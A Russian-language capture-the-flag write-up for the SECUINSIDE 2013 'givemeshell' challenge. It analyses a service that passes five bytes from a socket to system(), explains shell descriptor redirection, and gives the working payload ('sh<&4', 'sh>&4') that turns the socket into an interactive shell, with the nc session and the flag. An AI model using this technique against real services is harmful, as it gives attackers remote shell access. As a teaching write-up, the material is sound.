SECUINSIDE CTF Quals 2013 (givemeshell)

Решения

http://hexpresso.wordpress.com/2013/05/27/secuinside-2013-givemeshell-write-up/ (hexpresso)
http://tunz.tistory.com/43 (tunz)
Назад к списку заданий

Задание (web)

ip : 119.70.231.180
port : 8765

Исполняемый файл givemeshell.zip

Подробное описание

Имя этой задачки говорит само за себя. Нам надо получить shell…
Пробуем подключиться:

$ nc 119.70.231.180 8765
ls #и ничего, сервер съедает команду и разрывает соединение

Следующий шаг - анализ кода сервиса. Сам исполняемый файл сервиса доступен для скачивания.
Качаем бинарный файл givemeshell, смотрим, с чем имеем дело:

$ file givemeshell
givemeshell: ELF 32-bit LSB executable, (…) stripped

Итак, исполняемый файл – это сервис, запущенный по ip-адресу 119.70.231.180, порт 8765 (хотя позднее авторы добавили еще несколько (8761,8762,8763,8764,8765), видимо, из-за большой нагрузки желающих решать задачу).

Здесь удобнее всего использовать IDA Pro. Алгоритм работы сервиса прост, он умещается буквально в 120 байт (функция 0x0804877C):

  • Принять соединение от клиента accept (0x08048999)
  • Функция 0x0804877C {
  • Прочитать только пять байт из сокета cmd = recv(5)
  • Выполнить системную команду от клиента system(cmd)
  • }
  • Разорвать соединение shutdown (0x08048A03)

Как видим, сложность задачи заключается в том, что ограничена длина вводимой команды. Т.е. оболочка (shell) будет выполнять только те команды, умещающиеся в 5 символов. "ls", конечно, выполниться, но результат мы не видим, потому что вывод команды идет в консоль (stdout).
В этом случае решение… Минуточку, наверное, все сталкивались с таким явлением, как перенаправление потоков. Небольшая справка.


В bash, sh (как и многих других оболочках) есть встроенные файловые дескрипторы: 0 (stdin), 1 (stdout), 2 (stderr).
Stdin – стандартный ввод. Это все, что набирает пользователь в консоли.
Stdout – стандартный вывод. Сюда попадает все, что выводят программы.
Stderr – стандартный вывод ошибок.

Для операций с дескрипторами существуют специальные символы: ">" (перенаправление вывода), "<" (перенаправление ввода). Например:
ls > /dev/null (абсолютно бесполезная операция, перенаправить результат операции ls в помойку);
sudo < my_password (после просьбы sudo ввести пароль, он возьмется из файла my_password, как будто вы его ввели с клавиатуры).
Если необходимо заставить stderr писать в stdout, то это можно сделать следующим способом:
./program_with_error 2>&1 (цифра 2 перед «>» означает, что нужно перенаправлять всё, что попадет в дескриптор 2(stderr) в stdout – символ "&" означает указатель на дескриптор 1(stdout)).


Следовательно, наше решение – перенаправить вывод наших команд в сокет (да, у него дескриптор будет равен 4). Если вы хотите увидеть результат операции ls, то необходимо набрать:
ls>&4 #результат перенаправляется нашему сокету, и вы видите его у себя в консоли

Тем не менее, такой вариант дает нам право всего лишь на одну команду, без опций и многого другого. Решение простое, мы можем запустить новую оболочку и перенаправить ее ввод и вывод:
sh<&4
sh>&4

Результат:

$ nc 119.70.231.180 8765
sh<&4
sh>&4
ls
givemeshell
key # здесь флаг
cat key
WeLoveShell

Флаг:
WeLoveShell

Пока не указано иное, содержимое этой страницы распространяется по лицензии Creative Commons Attribution-ShareAlike 3.0 License